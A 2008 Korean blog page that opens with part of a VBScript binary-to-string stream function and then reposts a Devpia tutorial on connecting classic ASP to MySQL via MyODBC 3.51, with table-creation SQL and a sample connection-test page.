'//Create Stream object Dim BinaryStream 'As New Stream Set BinaryStream = CreateObject("ADODB.Stream") '//Specify stream type - we want To save text/string data. BinaryStream.Type = adTypeBinary '//Open the stream And write text/string data To the object BinaryStream.Open BinaryStream.Write Binary '//Change stream type To binary BinaryStream.Position = 0 BinaryStream.Type = adTypeText '//Specify charset For the source text (unicode) data. If Len(CharSet) > 0 Then BinaryStream.CharSet = CharSet Else BinaryStream.CharSet = "us-ascii" End If '//Open the stream And get binary data from the object fnStreamBinaryToString = BinaryStream.ReadText End Function
위와 같이 사용하시면 어떨지 모르겠네요..
지금까지 초보였습니다.
2008/02/21 15:58 2008/02/21 15:58
 

데브피아의 이광수님이 쓰신 글입니다.


출처: http://www.devpia.com

URL:http://www.devpia.com/MAEUL/Contents/Detail.aspx?BoardID=57&MAEULNO=22&no=1853&page=2


ASP하면 MS-SQL, PHP하면 mysql이 생각납니다. 이에 대해서는 여러가지 이유가 있겠지만, 궁합(?)이 가장 잘 맞기 때문이겠죠~

하지만, 실무현장에는 여러가지 이유로 이러한 궁합이 깨지곤 하는데요. PHP + Oracle, ASP + MySQL등이 이러한 경우입니다. 연동하는데 그다지 어려운 점은 없지만, 도움이 필요하신 분들을 위해 간략하게 작성해봅니다.


* IIS 설정 방법과 MySQL, MyODBC 설치방법은 생략합니다.


:: 다운로드

MySQL 4.1
http://dev.mysql.com/downloads/mysql/4.1.html

MySQL Connector/ODBC 3.51
http://dev.mysql.com/downloads/connector/odbc/3.51.html

MySQL Query Browser
http://dev.mysql.com/downloads/query-browser/1.1.html


:: 설치

MySQL과 MyODBC, Query Brower를 설치합니다.


:: database와 table 생성

MySQL Query Browser를 이용하여 아래와 같이 address와 contacts를 생성합니다.

  1) address 생성

create database address;

  2) assress 사용

use address;

  3) contacts 생성

create table contacts
(

   contactId int auto_increment not null,

   firstName varchar(50),

   lastName varchar(50),

   address1 varchar(100),

   address2 varchar(100),

   phone varchar(20),

   primary key(contactId),

   unique id(contactId)

);


:: dns_test.asp 작성

생성한 DB에 접근할 수 있는지 확인하기 위해 아래와 같이 작성합니다.

<%

   dim adoConn

   set adoConn = Server.CreateObject("ADODB.Connection")

   adoConn.Open "Driver={MySQL ODBC 3.51 driver}; Server=localhost; Database=address; Uid=root;Pwd=121212;"

   if adoConn.errors.count = 0 then

      response.write "Connected Successfully!"

   end if

   adoConn.close
   set adoConn = nothing

%>


브라우저를 통해 http://localhost/dns_test.asp 를 입력해 Connected Successfully 라는 글이 나타난다면 ASP에서 MySQL를 사용할 준비가 된 것입니다.


:: 꼭 알아두기

adoConn.Open "Driver={MySQL ODBC 3.51 driver}; Server=localhost; Database=address; Uid=root;Pwd=121212;"

이 내용이 가장 중요합니다. Driver를 MySQL ODBC 3.51 driver로 지정해주었다는 것을 기억하세요.


:: 참조

http://dev.mysql.com/doc/refman/5.0/en/odbc-connector.html

http://www.devarticles.com/c/a/ASP/Using-MyODBC-To-Access-Your-MySQL-Database-Via-ASP/

2008/02/21 15:58 2008/02/21 15:58